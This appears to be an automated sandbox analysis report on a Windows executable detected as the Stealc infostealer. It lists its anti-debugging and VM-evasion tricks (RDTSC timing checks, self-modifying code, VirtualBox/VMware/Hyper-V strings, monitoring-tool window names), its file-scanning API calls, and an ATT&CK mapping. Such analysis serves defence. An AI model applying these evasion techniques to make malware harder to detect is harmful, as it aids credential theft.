Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CDC0 second address: 147CDC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CDC4 second address: 147CDD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CDD2 second address: 147CDDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8F347F9F16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CEEF second address: 147CF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F34B47B69h 0x00000009 pop edx 0x0000000a pushad 0x0000000b js 00007F8F34B47B56h 0x00000011 jnl 00007F8F34B47B56h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147D07E second address: 147D0A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147D0A1 second address: 147D0A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147D0A7 second address: 147D0B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147D0B0 second address: 147D0BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F34B47B5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1492F4E second address: 1492F64 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F347F9F16h 0x00000008 jng 00007F8F347F9F16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1492F64 second address: 1492F70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 js 00007F8F34B47B56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1495F47 second address: 1495F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149BE27 second address: 149BE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jp 00007F8F34B47B56h 0x0000000c jmp 00007F8F34B47B5Ch 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149BE44 second address: 149BE60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F28h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149BC41 second address: 149BC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8F34B47B56h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149D4DB second address: 149D4F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F8F347F9F1Bh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149D4F0 second address: 149D4FA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F34B47B5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149FA4E second address: 149FA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149FA52 second address: 149FA62 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F8F34B47B56h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A6356 second address: 14A6360 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8F347F9F1Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A65F3 second address: 14A65FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A65FB second address: 14A6601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A6601 second address: 14A6605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A6605 second address: 14A6621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A6B8F second address: 14A6B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A6B93 second address: 14A6B9D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8F347F9F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A6B9D second address: 14A6BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AC5FC second address: 14AC614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F8F347F9F22h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AC78D second address: 14AC7C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8F34B47B69h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jmp 00007F8F34B47B63h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AC7C4 second address: 14AC7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C41BD second address: 14C41C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C41C1 second address: 14C41D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8F347F9F1Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D812E second address: 14D8157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8F34B47B5Eh 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8F34B47B61h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D7085 second address: 14D708D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D7355 second address: 14D7359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D7359 second address: 14D735D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D735D second address: 14D7369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8F34B47B56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D7369 second address: 14D736F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D736F second address: 14D738C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F34B47B69h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D738C second address: 14D7390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D7882 second address: 14D7888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D7E49 second address: 14D7E63 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F347F9F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8F347F9F1Dh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D7E63 second address: 14D7E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D9904 second address: 14D9930 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F8F347F9F16h 0x0000000b jc 00007F8F347F9F16h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8F347F9F28h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D9930 second address: 14D9942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B5Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D9774 second address: 14D9778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D9778 second address: 14D977C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14DD9A1 second address: 14DD9A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14DDA85 second address: 14DDABB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F34B47B67h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14DDABB second address: 14DDAC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562026B second address: 5620270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620270 second address: 56202A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F347F9F25h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 mov edi, eax 0x00000012 mov dh, cl 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F8F347F9F1Ah 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56202A7 second address: 56202B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F34B47B5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56202EA second address: 5620311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F8F347F9F24h 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebp 0x0000000e pushad 0x0000000f mov si, CAE3h 0x00000013 pushad 0x00000014 mov edx, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620311 second address: 5620333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], ebp 0x00000009 pushad 0x0000000a jmp 00007F8F34B47B5Ch 0x0000000f push esi 0x00000010 mov eax, edx 0x00000012 pop ebx 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov al, FBh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620333 second address: 5620383 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8F347F9F21h 0x00000008 and si, D746h 0x0000000d jmp 00007F8F347F9F21h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007F8F347F9F1Eh 0x0000001d sub ecx, 0A14B3E8h 0x00000023 jmp 00007F8F347F9F1Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14056E3 second address: 14056E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14056E7 second address: 14056ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13F83A9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13F6B21 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 125191F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1481F7C instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01004910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_01004910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_010038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FFDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01004570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_01004570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FFE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FFED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FF16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FFF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FFBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FFDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01003EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_01003EA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FF1160 GetSystemInfo,ExitProcess,

0_2_00FF1160

Source: file.exe, file.exe, 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2169132039.00000000019EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: file.exe, 00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware>
Source: file.exe, 00000000.00000002.2169132039.00000000019B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2169132039.00000000019EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13414
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13359
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13362
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13382
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13374

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FF45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00FF45C0

Source: C:\Users\user\Desktop\file.exe

0_2_01009860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01009750 mov eax, dword ptr fs:[00000030h]

0_2_01009750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01007850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_01007850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6200, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01009600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_01009600

Source: file.exe, file.exe, 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: MProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_01007B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01006920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_01006920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01007850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_01007850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01007A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_01007A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2128195023.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6200, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2128195023.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6200, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
